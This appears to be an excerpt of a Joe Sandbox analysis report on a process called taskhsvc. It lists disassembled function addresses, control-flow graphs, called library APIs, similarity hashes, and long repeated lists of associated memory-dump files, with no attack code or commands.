                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$_closestrrchr$abortstrerror
                                                                                                                          • String ID: 0
                                                                                                                          • API String ID: 1761883011-4108050209
                                                                                                                          • Opcode ID: 96b8965374e2ecdcf40f24044c6ef0199429f0aa8dd742afba514e954edda1ed
                                                                                                                          • Instruction ID: 9801aed00b027d7953c3a2734028c70405a021c8feba4b9ca31fa86f07b0b68a
                                                                                                                          • Opcode Fuzzy Hash: 96b8965374e2ecdcf40f24044c6ef0199429f0aa8dd742afba514e954edda1ed
                                                                                                                          • Instruction Fuzzy Hash: FFD1AFB4A083088FDB10EFA9C58579DBBF0EB89314F149829E499EB350D774D985CF62
                                                                                                                          Function 00BE73E6 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 153stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 126 be73e6-be740a strcmp 127 be740c-be7426 strcmp 126->127 128 be7428 126->128 127->128 129 be7432-be744c strcmp 127->129 128->129 130 be74fe-be7505 129->130 131 be7452-be746c strcmp 129->131 132 be7507 130->132 133 be7511-be7557 call d040b6 * 2 130->133 131->130 134 be7472-be748c strcmp 131->134 132->133 145 be7559-be7575 call d34127 133->145 146 be7577 133->146 134->130 136 be748e-be74a8 strcmp 134->136 136->130 138 be74aa-be74c4 strcmp 136->138 138->130 140 be74c6-be74e0 strcmp 138->140 140->130 142 be74e2-be74fc strcmp 140->142 142->130 142->133 148 be7578-be7622 call c3faab call d63078 call d55d43 call e0c348 call d388be call d33842 * 2 strstr 145->148 146->148 165 be763e-be765d call d33842 148->165 166 be7624-be763c strstr 148->166 167 be7662 call d39204 165->167 166->165 166->167 170 be7667-be77a2 call d33842 167->170 175 be77a9-be77b3 170->175 176 be77a4 __stack_chk_fail 170->176 176->175
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: strcmp
                                                                                                                          • String ID: ,$,
                                                                                                                          • API String ID: 1004003707-3228553458
                                                                                                                          • Opcode ID: 7df09cfa246237ce6d8135cf96b29cdaf6a91b6b23f39c88770dab64125db711
                                                                                                                          • Instruction ID: eb95d27091b94d23c1e3796863046ba3306cac137f557b611be97ac18744330f
                                                                                                                          • Opcode Fuzzy Hash: 7df09cfa246237ce6d8135cf96b29cdaf6a91b6b23f39c88770dab64125db711
                                                                                                                          • Instruction Fuzzy Hash: 4E6113B09097608FCB10EF25D98569EBBF0EF88314F00989CE598AB351DB74D994DF52
                                                                                                                          Function 00E0C11F Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 94COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00E0C173
                                                                                                                          • event_config_new.LIBEVENT-2-0-5 ref: 00E0C183
                                                                                                                          • abort.MSVCRT ref: 00E0C1C5
                                                                                                                          • event_config_set_flag.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C51ACE), ref: 00E0C1D8
                                                                                                                          • event_config_set_num_cpus_hint.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C51ACE), ref: 00E0C1F5
                                                                                                                          • event_config_set_flag.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C51ACE), ref: 00E0C208
                                                                                                                          • event_base_new_with_config.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C51ACE), ref: 00E0C213
                                                                                                                          • event_config_free.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C51ACE), ref: 00E0C223
                                                                                                                          • exit.MSVCRT ref: 00E0C25C
                                                                                                                          • event_get_version.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C51ACE), ref: 00E0C268
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00E0C2A5
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortevent_config_set_flagstrrchr$event_base_new_with_configevent_config_freeevent_config_newevent_config_set_num_cpus_hintevent_get_versionexit
                                                                                                                          • String ID: T$l$l
                                                                                                                          • API String ID: 984700609-1790470668
                                                                                                                          • Opcode ID: 3feba68b88f0a894046b22e0556b8a9685b04ddac366d28f9b01710f2058e38d
                                                                                                                          • Instruction ID: f6ccc87675ac861c977567f4250ba8093d48d924dd8a747a00fad1ba6b1c7735
                                                                                                                          • Opcode Fuzzy Hash: 3feba68b88f0a894046b22e0556b8a9685b04ddac366d28f9b01710f2058e38d
                                                                                                                          • Instruction Fuzzy Hash: 9441E4B0A09701DFDB00EFA5C54569EBBF0AF84708F01A81CE494AB342D779D8858B62
                                                                                                                          Function 00D3284F Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 255stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 249 d3284f-d3289a 250 d328b8-d328db call d32523 249->250 251 d3289c-d328b3 call e18710 249->251 254 d328e0-d328f5 250->254 251->250 255 d329a2-d329a6 254->255 256 d328fb-d3290c 254->256 259 d32a17-d32a1e 255->259 260 d329a8-d329bc call d323fc 255->260 257 d32912-d32924 256->257 258 d32995-d32996 256->258 261 d32926-d32956 call d34f0d 257->261 262 d32998-d32999 257->262 258->255 263 d32a20-d32a29 259->263 264 d32a4f-d32a7e call d36065 259->264 260->259 270 d329be-d329c5 260->270 275 d3299b-d3299c 261->275 276 d32958-d3296a 261->276 262->255 263->264 267 d32a2b-d32a4b memcpy 263->267 277 d32a80-d32a84 264->277 278 d32abc-d32ac6 264->278 267->264 273 d329c7-d329cc 270->273 274 d329ce 270->274 279 d329d3-d329ff call d36005 273->279 274->279 275->255 282 d3299e-d3299f 276->282 283 d3296c-d3297e 276->283 284 d32a86-d32aaf call d35895 277->284 285 d32ab4-d32aba 277->285 280 d32b05-d32b0c 278->280 281 d32ac8-d32adf strlen 278->281 297 d32a11-d32a14 279->297 298 d32a01-d32a0f strlen 279->298 289 d32b0e-d32b17 280->289 290 d32b3d-d32b6d 280->290 281->280 288 d32ae1-d32b02 memcpy 281->288 282->255 291 d329a1 283->291 292 d32980-d32993 283->292 284->285 285->280 288->280 289->290 294 d32b19-d32b39 memcpy 289->294 295 d32b74-d32b79 290->295 296 d32b6f __stack_chk_fail 290->296 291->255 292->255 294->290 296->295 297->259 298->259
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00E18710: strlen.MSVCRT ref: 00E1872A
                                                                                                                            • Part of subcall function 00E18710: malloc.MSVCRT ref: 00E18736
                                                                                                                            • Part of subcall function 00E18710: strlen.MSVCRT ref: 00E18740
                                                                                                                            • Part of subcall function 00E18710: malloc.MSVCRT ref: 00E1874C
                                                                                                                            • Part of subcall function 00E18710: free.MSVCRT ref: 00E187AC
                                                                                                                          • strlen.MSVCRT ref: 00D32A07
                                                                                                                          • memcpy.MSVCRT ref: 00D32A46
                                                                                                                          • strlen.MSVCRT ref: 00D32ACE
                                                                                                                          • memcpy.MSVCRT ref: 00D32AFA
                                                                                                                          • memcpy.MSVCRT ref: 00D32B34
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D32B6F
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
